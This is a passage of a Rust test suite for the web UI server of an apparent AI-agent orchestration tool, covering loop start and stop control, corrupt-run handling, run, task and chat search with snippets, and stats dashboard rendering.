18679        assert_eq!(
18680            view["last_error"],
18681            Value::Null,
18682            "a loop that was asked to stop did not fail: {view}"
18683        );
18684
18685        // Idempotent, because the operator cannot tell a slow stop from a lost
18686        // one and will press it again.
18687        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18688        assert_eq!(twice.status, 200, "{}", twice.body);
18689    }
18690
18691    #[tokio::test]
18692    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18693        let f = Fixture::start().await;
18694        // How the operator has been doing it: a `magi serve` of their own,
18695        // heartbeat fresh, in the same home this UI reads.
18696        write_daemon(f.home.path(), Timestamp::now());
18697
18698        let view = f.get("/api/loop").await.json();
18699        assert_eq!(view["running"], false, "not in this process: {view}");
18700        assert_eq!(view["owned"], false, "and not this process's to control");
18701        assert_eq!(
18702            view["daemon"]["running"], true,
18703            "but a loop is alive somewhere, which is what the UI must say"
18704        );
18705        assert_eq!(view["daemon"]["pid"], 4242);
18706
18707        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18708            let res = f.post("/api/loop", Some(body)).await;
18709            assert_eq!(
18710                res.status, 409,
18711                "neither button may pretend to work on someone else's loop: {}",
18712                res.body
18713            );
18714            assert!(
18715                res.json()["error"]
18716                    .as_str()
18717                    .is_some_and(|e| e.contains("4242")),
18718                "the refusal has to name the process the operator must go to: {}",
18719                res.body
18720            );
18721        }
18722        assert_eq!(
18723            f.get("/api/loop").await.json()["running"],
18724            false,
18725            "and the refusal started nothing"
18726        );
18727    }
18728
18729    #[tokio::test]
18730    async fn a_stale_status_file_is_not_a_foreign_owner() {
18731        let f = Fixture::start().await;
18732        write_daemon(
18733            f.home.path(),
18734            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18735        );
18736
18737        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18738        assert_eq!(
18739            res.status, 200,
18740            "a daemon killed a minute ago must not lock the loop out of its \
18741             own home for good: {}",
18742            res.body
18743        );
18744        assert_eq!(res.json()["running"], true);
18745
18746        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18747    }
18748
18749    #[tokio::test]
18750    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18751        let f = Fixture::start().await;
18752        let before = f.get("/api/health").await.json()["loop_rev"]
18753            .as_u64()
18754            .expect("a loop revision");
18755
18756        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18757
18758        let after = f.get("/api/health").await.json()["loop_rev"]
18759            .as_u64()
18760            .expect("a loop revision");
18761        assert!(
18762            after > before,
18763            "the loop is in-process state, so this counter is the only thing \
18764             that tells a second device the first one started it: {before} -> \
18765             {after}"
18766        );
18767
18768        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18769    }
18770
18771    #[tokio::test]
18772    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18773        let f = Fixture::with_loop(launch_broken).await;
18774
18775        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18776        assert_eq!(
18777            res.status, 200,
18778            "starting it is not the failure: {}",
18779            res.body
18780        );
18781
18782        let view = settled(&f, |v| v["last_error"].is_string()).await;
18783        assert_eq!(
18784            view["running"], false,
18785            "a loop that died must not read as running, or the operator has \
18786             nothing to press: {view}"
18787        );
18788        assert_eq!(view["owned"], false);
18789        assert!(
18790            view["last_error"]
18791                .as_str()
18792                .is_some_and(|e| e.contains("read-only file system")),
18793            "the phone is where a loop that died at 3am is visible: {view}"
18794        );
18795
18796        // And it can be started again: the corpse was reaped, not left to
18797        // occupy the slot.
18798        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18799        assert_eq!(again.status, 200, "{}", again.body);
18800        assert!(
18801            again.json()["last_error"]
18802                .as_str()
18803                .is_none_or(|e| !e.contains("read-only file system")),
18804            "a fresh start does not keep showing why the last one died: {}",
18805            again.body
18806        );
18807    }
18808
18809    #[tokio::test]
18810    async fn a_newer_daemon_status_file_still_renders() {
18811        let f = Fixture::start().await;
18812        // A field this build has never heard of must not turn the status line
18813        // into a 500; that is the whole reason the reader is permissive.
18814        std::fs::write(
18815            f.home.path().join("daemon.json"),
18816            serde_json::json!({
18817                "schema": 2,
18818                "updated_at": Timestamp::now().to_string(),
18819                "idle": true,
18820                "surprise": { "nested": [1, 2, 3] },
18821            })
18822            .to_string(),
18823        )
18824        .expect("write daemon.json");
18825
18826        let health = f.get("/api/health").await;
18827
18828        assert_eq!(health.status, 200);
18829        assert_eq!(health.json()["daemon"]["running"], true);
18830    }
18831
18832    #[tokio::test]
18833    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18834        let f = Fixture::start().await;
18835        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18836        let broken = f.runs().join("20260902-140502-bad");
18837        std::fs::create_dir_all(&broken).expect("run dir");
18838        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18839
18840        let list = f.get("/api/runs").await;
18841        let detail = f.get("/api/runs/20260902-140502-bad").await;
18842
18843        assert_eq!(list.status, 200);
18844        let listed = list.json();
18845        let ids: Vec<&str> = listed
18846            .as_array()
18847            .expect("an array")
18848            .iter()
18849            .map(|r| r["id"].as_str().expect("an id"))
18850            .collect();
18851        assert_eq!(
18852            ids,
18853            vec!["20260902-140501-good"],
18854            "one unreadable run must not cost the operator the whole history"
18855        );
18856        assert_eq!(detail.status, 500);
18857        assert!(
18858            detail.json()["error"]
18859                .as_str()
18860                .is_some_and(|e| e.contains("run.json")),
18861            "the failure names the file to look at: {}",
18862            detail.body
18863        );
18864        // A skipped run has to be countable somewhere, or the UI shows an
18865        // empty history with nothing to explain it - which is exactly what a
18866        // directory full of older-schema runs looks like.
18867        let health = f.get("/api/health").await;
18868        assert_eq!(health.json()["runs_unreadable"], 1);
18869    }
18870
18871    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
18872    #[tokio::test]
18873    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18874        let f = Fixture::start().await;
18875        let runs = f.runs();
18876        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18877        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18878        // Text three levels down, in a shape no current RunState has: an older
18879        // schema must still search.
18880        let path = runs.join("20260902-140502-bbbb").join("run.json");
18881        let mut v: serde_json::Value =
18882            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18883        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18884        std::fs::write(&path, v.to_string()).unwrap();
18885        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18886        std::fs::write(
18887            runs.join("20260902-140503-cccc").join("run.json"),
18888            "{ not json",
18889        )
18890        .unwrap();
18891
18892        let res = f.get("/api/search?scope=runs&q=quokka").await;
18893        assert_eq!(res.status, 200, "{}", res.body);
18894        let v = res.json();
18895        assert_eq!(v["total"], 1, "{v}");
18896        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18897        assert_eq!(v["hits"][0]["field"], "text");
18898        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18899        let parts = v["hits"][0]["snippet"].as_array().unwrap();
18900        assert!(
18901            parts
18902                .iter()
18903                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18904            "{v}"
18905        );
18906        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18907        assert_eq!(
18908            flat, "The Quokka leaks across threads",
18909            "whitespace is collapsed"
18910        );
18911
18912        // Terms are ANDed, across different fields, case-insensitively.
18913        let both = f
18914            .get("/api/search?scope=runs&q=MOBILE%20quokka")
18915            .await
18916            .json();
18917        assert_eq!(both["total"], 1, "{both}");
18918        let neither = f
18919            .get("/api/search?scope=runs&q=quokka%20zebra")
18920            .await
18921            .json();
18922        assert_eq!(neither["total"], 0, "{neither}");
18923        // Everything in the task statement is reachable, not only the row text.
18924        let stmt = f
18925            .get("/api/search?scope=runs&q=mobile%20first")
18926            .await
18927            .json();
18928        assert_eq!(stmt["total"], 2, "{stmt}");
18929        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18930        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18931    }
18932
18933    #[test]
18934    fn snippet_ignores_terms_longer_than_the_field() {
18935        let terms = ["ok".to_owned(), "elephant".to_owned()];
18936        let parts = snippet_of("ok", &terms);
18937        assert_eq!(
18938            parts,
18939            vec![SnippetPart {
18940                text: "ok".to_owned(),
18941                hit: true
18942            }]
18943        );
18944    }
18945
18946    #[test]
18947    fn snippet_marks_matches_longer_than_the_window() {
18948        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18949        let hit_len = |parts: &[SnippetPart]| -> usize {
18950            parts
18951                .iter()
18952                .filter(|p| p.hit)
18953                .map(|p| p.text.chars().count())
18954                .sum()
18955        };
18956        let total =
18957            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18958
18959        let long = "a".repeat(120);
18960        let parts = snippet_of(&long, std::slice::from_ref(&long));
18961        assert!(hit_len(&parts) > 0, "{parts:?}");
18962        assert!(total(&parts) <= cap);
18963
18964        let ja = "あ".repeat(130);
18965        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18966        assert!(hit_len(&parts) > 0, "{parts:?}");
18967        assert!(total(&parts) <= cap);
18968
18969        // A short hit, then one straddling the window's end.
18970        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18971        let term = format!("ab{}", "c".repeat(100));
18972        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18973        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18974        assert!(total(&parts) <= cap);
18975
18976        // Only the head matches: not highlighted.
18977        let text = format!("{}z", "a".repeat(119));
18978        let parts = snippet_of(&text, &["a".repeat(120)]);
18979        assert_eq!(hit_len(&parts), 0, "{parts:?}");
18980    }
18981
18982    #[tokio::test]
18983    async fn search_caps_hits_and_snippet_length() {
18984        let f = Fixture::start().await;
18985        let runs = f.runs();
18986        for n in 0..(SEARCH_MAX_HITS + 5) {
18987            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18988        }
18989        let v = f.get("/api/search?scope=runs&q=web").await.json();
18990        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18991        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18992        assert_eq!(v["truncated"], true);
18993        // Every listed run hit carries its list row for the page's filters.
18994        assert!(
18995            v["hits"]
18996                .as_array()
18997                .unwrap()
18998                .iter()
18999                .all(|h| h["run"]["status"] == "merged")
19000        );
19001
19002        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19003        let parts = snippet_of(&long, &["needle".to_owned()]);
19004        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19005        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19006        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19007    }
19008
19009    #[tokio::test]
19010    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19011        let f = Fixture::start().await;
19012        let queue = f.queue();
19013        let mut t = Task::new(
19014            "short title".to_owned(),
19015            "line one\nthe hidden Armadillo detail".to_owned(),
19016            PathBuf::from("/repo/magi"),
19017            Source::Agent {
19018                run: "r1".to_owned(),
19019                node: "chat".to_owned(),
19020            },
19021        );
19022        t.last_error = Some("disk full on /tmp".to_owned());
19023        queue.put(&mut t).expect("file the task");
19024
19025        for (q, want) in [
19026            ("armadillo", 1),
19027            ("disk%20FULL", 1),
19028            ("chat", 1),
19029            ("queued", 1),
19030            ("short%20nothing", 0),
19031        ] {
19032            let v = f
19033                .get(&format!("/api/search?scope=tasks&q={q}"))
19034                .await
19035                .json();
19036            assert_eq!(v["total"], want, "{q}: {v}");
19037        }
19038        for bad in [
19039            "/api/search?scope=tasks&q=",
19040            "/api/search?scope=tasks&q=%20",
19041            "/api/search?scope=chats&q=",
19042            "/api/search?scope=chats&q=%20",
19043            "/api/search?scope=nope&q=a",
19044            "/api/search?q=a",
19045        ] {
19046            assert_eq!(f.get(bad).await.status, 400, "{bad}");
19047        }
19048    }
19049
19050    /// Write one conversation file the way the store reads it back.
19051    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
19052        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
19053            .expect("seat value");
19054        let turns: Vec<serde_json::Value> = turns
19055            .iter()
19056            .map(|(who, body)| {
19057                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
19058            })
19059            .collect();
19060        let doc = serde_json::json!({
19061            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
19062            "status": status, "turns": turns,
19063            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
19064            "seat": seat,
19065        });
19066        let dir = f.home.path().join("talks");
19067        std::fs::create_dir_all(&dir).expect("talks dir");
19068        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19069    }
19070
19071    #[test]
19072    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19073        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19074            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19075            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19076            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19077            "seat": crate::agent::SeatState::new("talk", "test", 1)
19078        })).unwrap();
19079        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19080        talk.title = Some(talk::ChatTitle {
19081            text: "最近の話題".into(),
19082            source: talk::TitleSource::Generated,
19083        });
19084        let doc = talk_search_doc(&talk);
19085        assert_eq!(doc["title"], "最近の話題");
19086        assert_eq!(doc["turns"][0]["operator"], "古い話題");
19087        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19088        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19089    }
19090
19091    #[test]
19092    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19093        let talk: Talk = serde_json::from_value(serde_json::json!({
19094            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19095            "status": "open", "title": {"text":"Saved title", "source":"manual"},
19096            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19097                "messages":[{"body":"First message", "attachments":[], "reply":null},
19098                            {"body":"Search 運用", "attachments":[], "reply":null}]},
19099                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19100            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19101            "seat": crate::agent::SeatState::new("talk", "test", 1)
19102        })).unwrap();
19103        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19104        let target = hit.target.unwrap();
19105        assert_eq!((target.turn, target.message), (0, 1));
19106        assert_eq!(target.text, chat_text_key("Search 運用"));
19107        assert_eq!(
19108            hit.snippet,
19109            snippet_of("Search 運用", &search_terms("運用 Another"))
19110        );
19111        assert!(
19112            search_chat(&search_terms("Saved"), &talk)
19113                .unwrap()
19114                .target
19115                .is_none()
19116        );
19117        assert!(
19118            search_chat(&search_terms("ab12"), &talk)
19119                .unwrap()
19120                .target
19121                .is_none()
19122        );
19123        // All terms may still match across separate display rows.
19124        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19125        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19126    }
19127
19128    #[test]
19129    fn chat_search_targets_opener_derived_titles() {
19130        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19131            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19132            "status": "open", "turns": [
19133                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19134                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19135                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19136            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19137            "seat": crate::agent::SeatState::new("talk", "test", 1)
19138        }))
19139        .unwrap();
19140        let terms = search_terms("運用");
19141        let hit = search_chat(&terms, &talk).unwrap();
19142        assert_eq!(hit.field, "title");
19143        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19144        let target = hit.target.unwrap();
19145        assert_eq!((target.turn, target.message), (1, 0));
19146        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19147        // A blank first send can put the opener line in a later display row.
19148        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19149            {"body":"", "attachments":[], "reply":null},
19150            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19151        ]))
19152        .unwrap();
19153        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19154        assert_eq!((target.turn, target.message), (1, 1));
19155        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
19156        talk.title = Some(talk::ChatTitle {
19157            text: "運用について".into(),
19158            source: talk::TitleSource::Manual,
19159        });
19160        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19161    }
19162
19163    #[tokio::test]
19164    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19165        let f = Fixture::start().await;
19166        write_talk(
19167            &f,
19168            "20260901-000001-aaaa",
19169            "open",
19170            &[
19171                (
19172                    "operator",
19173                    "\n  Why does the Pangolin cache expire?\nsecond line",
19174                ),
19175                ("agent", "Because the TTL is thirty seconds."),
19176            ],
19177        );
19178        write_talk(
19179            &f,
19180            "20260901-000002-bbbb",
19181            "closed",
19182            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19183        );
19184        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19185
19186        let search = |q: &'static str| {
19187            let f = &f;
19188            async move {
19189                f.get(&format!("/api/search?scope=chats&q={q}"))
19190                    .await
19191                    .json()
19192            }
19193        };
19194
19195        let v = search("PANGOLIN").await;
19196        assert_eq!(v["scope"], "chats");
19197        assert_eq!(v["total"], 1, "{v}");
19198        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19199        assert_eq!(v["hits"][0]["field"], "title");
19200        assert_eq!(v["unreadable"], 1, "{v}");
19201        let marked: Vec<&str> = v["hits"][0]["snippet"]
19202            .as_array()
19203            .unwrap()
19204            .iter()
19205            .filter(|p| p["hit"] == true)
19206            .map(|p| p["text"].as_str().unwrap())
19207            .collect();
19208        assert_eq!(marked, ["Pangolin"]);
19209
19210        // An agent turn, in a closed conversation.
19211        let v = search("zebra").await;
19212        assert_eq!(v["total"], 1, "{v}");
19213        assert_eq!(v["hits"][0]["field"], "agent");
19214        // Words may sit in different turns; all must be present.
19215        assert_eq!(search("pangolin%20thirty").await["total"], 1);
19216        assert_eq!(search("pangolin%20zebra").await["total"], 0);
19217        // Bookkeeping is not searched.
19218        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19219            assert_eq!(search(q).await["total"], 0, "{q}");
19220        }
19221        // The first line only is the title; the second line is still a turn.
19222        assert_eq!(search("second").await["hits"][0]["field"], "operator");
19223        // Open conversations are listed before closed ones.
19224        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19225
19226        let v = f.get("/api/search?scope=nope&q=a").await;
19227        assert_eq!(v.status, 400);
19228        assert!(
19229            v.body.contains("scope must be runs, tasks or chats"),
19230            "{}",
19231            v.body
19232        );
19233    }
19234
19235    #[test]
19236    fn a_question_card_links_a_task_id_to_the_task_page() {
19237        let start = APP_JS
19238            .find("function updateAskCard(")
19239            .expect("updateAskCard exists");
19240        let body = &APP_JS[start..];
19241        let body = &body[..body.find("\n}\n").expect("function end")];
19242        assert!(body.contains("question.run_is_task"));
19243        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19244        assert!(body.contains("`#/runs/${question.run}`"));
19245        assert!(body.contains("\"task\" : \"run\""));
19246    }
19247
19248    #[test]
19249    fn plain_text_message_surfaces_go_through_linkify() {
19250        assert!(APP_JS.contains("function linkify("));
19251        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19252        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19253        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19254        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19255        assert!(!APP_JS.contains("innerHTML = text"));
19256    }
19257
19258    #[test]
19259    fn implementation_rate_views_keep_independent_samples() {
19260        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19261            let a = stats::AgentStats {
19262                competitive_entered: competitive_n,
19263                competitive_wins: usize::from(competitive_n > 0),
19264                solo_entered: solo_n,
19265                solo_adopted: 2 * usize::from(solo_n > 0),
19266                ..Default::default()
19267            };
19268            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19269            for (key, n, numerator) in [
19270                ("competitive_win_rate", competitive_n, a.competitive_wins),
19271                ("solo_adoption_rate", solo_n, a.solo_adopted),
19272            ] {
19273                if n == 0 {
19274                    assert!(v[key].is_null());
19275                } else {
19276                    assert_eq!(v[key]["denominator"], n);
19277                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19278                }
19279            }
19280        }
19281        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19282        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19283        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19284        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19285    }
19286
19287    #[test]
19288    fn stats_bars_share_one_id_keyed_plan() {
19289        let start = APP_JS
19290            .find("function statsBarRows(")
19291            .expect("statsBarRows exists");
19292        let body = &APP_JS[start..];
19293        let body = &body[..body.find("\n}\n").expect("function end")];
19294        assert!(body.contains("statsBarPlan(rows)"));
19295        assert!(body.contains("statsAgentTone(row.agent)"));
19296        assert!(!body.contains("candTone(i)"));
19297        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19298        for root in [
19299            "stats-agents-bars",
19300            "stats-solo-bars",
19301            "stats-reviewers-bars",
19302        ] {
19303            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19304        }
19305    }
19306
19307    #[test]
19308    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19309        let start = APP_JS
19310            .find("function renderStatsReviewerScatter(")
19311            .expect("renderStatsReviewerScatter exists");
19312        let body = &APP_JS[start..];
19313        let body = &body[..body.find("\n}\n").expect("function end")];
19314        assert!(body.contains("statsScatterPlan(reviewers)"));
19315        assert!(body.contains("statsAgentTone(d.agent)"));
19316        assert!(APP_JS.contains("function statsScatterPlan("));
19317        assert!(
19318            APP_JS.contains("d.submitted < STATS_LOW_N")
19319                || APP_JS.contains("r.submitted < STATS_LOW_N")
19320        );
19321        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19322        assert!(APP_CSS.contains(".precision-scatter"));
19323    }
19324
19325    #[test]
19326    fn advisor_reflection_is_drawn_as_stacked_segments() {
19327        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19328        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19329        let html = include_str!("../assets/ui/index.html");
19330        assert!(html.contains("Approximate"));
19331        for label in ["reflected strongly", "faint", "no proposal"] {
19332            assert!(html.contains(label));
19333        }
19334        let css = include_str!("../assets/ui/app.css");
19335        for c in ["refl-strong", "refl-faint", "refl-absent"] {
19336            assert!(css.contains(&format!(".{c} {{")));
19337        }
19338    }
19339
19340    #[test]
19341    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19342        assert!(APP_JS.contains("function statsDailyPlan("));
19343        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19344        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19345    }
19346
19347    #[test]
19348    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19349        let start = APP_JS
19350            .find("function scheduleSearch(")
19351            .expect("scheduleSearch exists");
19352        let body = &APP_JS[start..];
19353        let body = &body[..body.find("\n}\n").expect("function end")];
19354        assert!(body.contains("s.seq += 1"));
19355    }
19356
19357    /// The dashboard reads every run's state itself rather than trusting a
19358    /// separately-maintained count, so an unreadable run must be counted the
19359    /// same way `/api/health` counts it - never silently dropped the way the
19360    /// CLI's own `stats::load_all` drops it.
19361    #[tokio::test]
19362    async fn stats_runs_unreadable_matches_health() {
19363        let f = Fixture::start().await;
19364        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19365        let broken = f.runs().join("20260902-140502-bad");
19366        std::fs::create_dir_all(&broken).expect("run dir");
19367        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19368
19369        let stats = f.get("/api/stats").await;
19370        let health = f.get("/api/health").await;
19371
19372        assert_eq!(stats.status, 200);
19373        assert_eq!(stats.json()["totals"]["runs"], 1);
19374        assert_eq!(stats.json()["runs_unreadable"], 1);
19375        assert_eq!(
19376            stats.json()["runs_unreadable"],
19377            health.json()["runs_unreadable"],
19378            "the dashboard and /api/health must never disagree about how many \
19379             runs could not be read"
19380        );
19381    }
19382
19383    #[tokio::test]
19384    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19385        let f = Fixture::start().await;
19386        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19387        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19388        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19389
19390        let totals = &f.get("/api/stats").await.json()["totals"];
19391        assert_eq!(totals["runs"], 3);
19392        assert_eq!(totals["merged"], 1);
19393        assert_eq!(totals["stalled"], 1);
19394        assert_eq!(totals["in_progress"], 1);
19395        // A stalled run must never read as blocked/merged/ready - it is its
19396        // own bucket, not folded into a "decided" one.
19397        assert_eq!(totals["blocked"], 0);
19398        assert_eq!(totals["ready"], 0);
19399    }
19400
19401    #[tokio::test]
19402    async fn stats_advisors_report_proposals_and_reflection() {
19403        use crate::advise::{Advice, AdvisorRecord, Reflection};
19404        use crate::verdict::Proposal;
19405
19406        let f = Fixture::start().await;
19407        let mut state = RunState::new(
19408            PathBuf::from("/repo/magi"),
19409            "main".to_owned(),
19410            "0123456789abcdef".to_owned(),
19411            "task".to_owned(),
19412            Config::default(),
19413        );
19414        state.id = "20260902-140501-a".to_owned();
19415        state.status = RunStatus::Merged;
19416        state.advice = Some(Advice {
19417            records: vec![
19418                AdvisorRecord {
19419                    seat: "advisor-1".to_owned(),
19420                    agent: "alpha".to_owned(),
19421                    proposal: Some(Proposal {
19422                        approach: "do it".to_owned(),
19423                        key_tradeoff: "speed over memory".to_owned(),
19424                        risks: Vec::new(),
19425                        touches: Vec::new(),
19426                        why_not_naive: "breaks under load".to_owned(),
19427                    }),
19428                    error: None,
19429                    duration_ms: 0,
19430                    reflection: Reflection::Strong,
19431                },
19432                AdvisorRecord {
19433                    seat: "advisor-2".to_owned(),
19434                    agent: "alpha".to_owned(),
19435                    proposal: None,
19436                    error: Some("timed out".to_owned()),
19437                    duration_ms: 0,
19438                    reflection: Reflection::Absent,
19439                },
19440            ],
19441            synthesis: Some("blended brief".to_owned()),
19442        });
19443        let dir = f.runs().join(&state.id);
19444        std::fs::create_dir_all(&dir).expect("run dir");
19445        std::fs::write(
19446            dir.join("run.json"),
19447            serde_json::to_string_pretty(&state).expect("serialize run"),
19448        )
19449        .expect("write run.json");
19450
19451        // `alpha` is in no roster here; this test is about the rates.
19452        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19453        let alpha = advisors
19454            .as_array()
19455            .expect("an array")
19456            .iter()
19457            .find(|a| a["agent"] == "alpha")
19458            .expect("alpha row");
19459        assert_eq!(alpha["seated"], 2);
19460        assert_eq!(alpha["proposed"], 1);
19461        assert_eq!(alpha["absent"], 1);
19462        assert_eq!(alpha["strong"], 1);
19463        assert_eq!(alpha["faint"], 0);
19464        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19465    }
19466
19467    #[tokio::test]
19468    async fn stats_hides_agents_outside_the_roster_unless_all() {
19469        use crate::run::Candidate;
19470        let repo = TempDir::new().expect("repo dir");
19471        std::fs::write(
19472            repo.path().join("magi.toml"),
19473            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19474        )
19475        .expect("magi.toml");
19476        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19477        let mut state = RunState::new(
19478            PathBuf::from("/repo/magi"),
19479            "main".to_owned(),
19480            "0123456789abcdef".to_owned(),
19481            "task".to_owned(),
19482            Config::default(),
19483        );
19484        state.id = "20260902-140501-a".to_owned();
19485        state.status = RunStatus::Merged;
19486        for (label, agent) in [('A', "keep"), ('B', "retired")] {
19487            let mut c: Candidate = serde_json::from_value(serde_json::json!({
19488                "index": 0, "label": label.to_string(), "agent": agent,
19489                "branch": "b", "worktree": "/w",
19490            }))
19491            .expect("candidate");
19492            c.label = label;
19493            state.candidates.push(c);
19494        }
19495        let dir = f.runs().join(&state.id);
19496        std::fs::create_dir_all(&dir).expect("run dir");
19497        std::fs::write(
19498            dir.join("run.json"),
19499            serde_json::to_string_pretty(&state).expect("serialize run"),
19500        )
19501        .expect("write run.json");
19502
19503        let agents_of = |v: &serde_json::Value| -> Vec<String> {
19504            v["agents"]
19505                .as_array()
19506                .expect("array")
19507                .iter()
19508                .map(|a| a["agent"].as_str().unwrap().to_owned())
19509                .collect()
19510        };
19511        let hidden = f.get("/api/stats").await.json();
19512        assert_eq!(agents_of(&hidden), ["keep"]);
